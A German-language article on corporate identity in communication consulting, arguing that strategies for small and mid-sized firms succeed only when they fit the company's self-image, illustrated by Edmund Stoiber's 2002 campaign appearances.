Corporate Identity: Welcher Unternehmertyp sind Sie?

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Marketing- und Kommunikationsberater vernachlässigen oft einen wesentlichen Aspekt: Die Identität des beratenen Unternehmens. Denn auch eine perfekte Strategie kann nur dann umgesetzt werden, wenn sie im Unternehmen akzeptiert wird. Häufig ist aber genau das nicht der Fall. Gerade bei kleinen und mittelständischen Unternehmen gibt es oft Vorbehalte gegenüber inhaltlichen Richtungswechseln oder neuen Ideen in der Unternehmenskommunikation. Viele Unternehmenslenker von KMU treffen ihre Entscheidungen auf Grund der Erfahrungen aus der Vergangenheit oder des persönlichen Geschmacks. Und wenn der sich nicht mit der vorgeschlagenen Strategie verträgt, wird es bei der praktischen Umsetzung häufig schwierig.

Besonders anschaulich wird diese Problematik am Beispiel der politischen Kommunikation. Immer wieder werden Politiker von Kommunikationsberatern hinsichtlich ihres Verhaltens in Fernsehauftritten geschult. Da soll sich dann jemand möglichst humorvoll, locker und souverän verhalten, weil die Marktforschungsergebnisse zeigen, dass solche Verhaltensweisen einen besonders positiven Einfluss auf die Gesamtbeurteilung eines Politikers und damit auch auf die Wahlentscheidung haben. Aber nicht jedem Politiker sind solche Verhaltensweisen in die Wiege gelegt. Manche Politiker sind z.B. eher ernste und akribische Typen und haben mit lockeren Sprüchen so ihre Probleme. Was passiert, wenn solche Politikertypen versuchen, die Strategie ihrer Kommunikationsberater umzusetzen konnte man z.B. an Edmund Stoiber während des Bundestagswahlkampfs 2002 beobachten: Sein Auftreten wirkte teilweise wenig authentisch und damit unglaubwürdig. Und nicht anders ergeht es einem Unternehmen, das plötzlich offen und transparent über die sozialen Medien mit seinen Kunden in einen Dialog treten soll, obwohl es aus traditionellen oder branchenbedingten Gründen ein betont seriöses und eher zurückhaltendes Verhältnis zur Öffentlichkeit pflegt.


Corporate Identity als Rahmen der Kommunikationsberatung

Kein Mensch kann einfach aus seiner Haut. Und da auch Kommunikationsstrategien in Unternehmen von Menschen umgesetzt werden müssen, ist es ausgesprochen wichtig, dass menschliche Besonderheiten wie Einstellungen, Werte und Vorlieben von den jeweiligen Kommunikationsberatern berücksichtigt werden. Im besten Fall hat ein Unternehmen seine grundlegenden Werte und Ziele schriftlich festgehalten und als „Corporate Identity“ veröffentlicht. Diese Vorlage sollte dann den Rahmen aller vorgeschlagenen Strategien und Maßnahmen bilden. In der Praxis besteht die Corporate Identity aber oft nur in den Köpfen der Firmeninhaber. In solchen Fällen muss das Selbstverständnis eines Unternehmens explizit erfasst werden, bevor eine ausgeklügelte Kommunikationsstrategie entwickelt wird. Andernfalls treten spätestens bei der langfristigen Implementierung konkreter Maßnahmen Missverständnisse oder sogar Widerstände auf, die alle nachfolgenden Projekte behindern und unter Umständen sogar scheitern lassen. Natürlich ist es aus Sicht eines Kommunikationsberaters immer schade, wenn vielversprechende Maßnahmen nicht umgesetzt werden, weil sie der Identität des beratenen Unternehmens widersprechen. Und mit Sicherheit vergeben viele Unternehmen Chancen, wenn Sie sich nicht auf offensichtlich sinnvolle Strategien einlassen. Insofern ist Kommunikationsberatung immer dann am erfolgreichsten, wenn sie einerseits auf die Besonderheiten des Unternehmens abgestimmt ist und sich die verantwortlichen Unternehmenslenker gleichzeitig die Offenheit bewahren, ihr unternehmerisches Selbstverständnis im Angesicht neuer Entwicklungen und Anforderungen zu aktualisieren.

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